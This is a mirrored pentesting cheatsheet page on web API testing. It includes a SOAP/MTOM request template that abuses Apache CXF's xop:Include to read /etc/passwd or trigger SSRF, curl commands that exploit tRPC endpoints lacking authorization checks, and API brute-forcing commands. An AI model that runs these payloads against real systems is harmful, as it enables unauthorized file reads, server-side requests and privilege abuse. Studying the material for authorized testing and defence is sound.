repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
web-api-pentesting.mdMarkdown171 lines11.4 KiBsource raw download

title: "Web API Pentesting" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/web-api-pentesting.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/web-api-pentesting.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Web API Pentesting#

API Pentesting Methodology Summary#

Pentesting APIs involves a structured approach to uncovering vulnerabilities. This guide encapsulates a comprehensive methodology, emphasizing practical techniques and tools.[1]

Understanding API Types#

Practice Labs#

Effective Tricks for API Pentesting#

Apache CXF MTOM/XOP xop:Include as file-read / SSRF primitive#

If a SOAP service uses Apache CXF with MTOM/XOP enabled, test whether a parameter accepts an inline xop:Include element inside a multipart/related request whose root part is application/xop+xml. Apache's advisory for CVE-2022-46364 states vulnerable versions parse the href of XOP:Include in MTOM requests and can perform SSRF-style fetches.[3][4][5]

Why this matters in practice:

Minimal structure to adapt to the target operation:

POST /service HTTP/1.1
Content-Type: multipart/related; type="application/xop+xml"; start="<root.message@cxf.apache.org>"; boundary="MIME_boundary"

--MIME_boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: <root.message@cxf.apache.org>

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xop="http://www.w3.org/2004/08/xop/include">
  <soap:Body>
    <ns:OPERATION xmlns:ns="http://target/">
      <ns:PARAM><xop:Include href="file:///etc/passwd"/></ns:PARAM>
    </ns:OPERATION>
  </soap:Body>
</soap:Envelope>
--MIME_boundary--

Practical triage:

  1. Identify CXF version from the JAR, error pages, banners, or decompiled service artifacts.
  2. Generate a valid SOAP request first (?wsdl, SoapUI, Burp WSDLer, traced client, decompiled stubs).
  3. Convert the request to multipart/related and replace a parameter value with xop:Include.
  4. Test file:///etc/passwd for reflection-based reads and http://<collaborator> for SSRF.

After obtaining local file read, high-value targets often include:

Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls#

Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, protectedProcedure typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by protectedProcedure.[2]

Example vulnerable pattern (no role/permission gate):

// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
  // but not for an admin role (authorization).
  .input(z.object({ name: z.string() }))
  .mutation(async ({ input, ctx }) => {
    // Logic to restart a sensitive migration
  }),

Practical exploitation (black-box)

  1. Register a normal account and obtain an authenticated session (cookies/headers).
  2. Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
  -H 'Content-Type: application/json' \
  -b '<AUTH_COOKIES>' \
  --data '{"input":{}}'
  1. Invoke privileged actions such as restarting a job:
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
  -H 'Content-Type: application/json' \
  -b '<AUTH_COOKIES>' \
  --data '{"input":{"name":"<migration_name>"}}'

Impact to assess

Tools and Resources for API Pentesting#

kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0

Learning and Practice Resources#

References#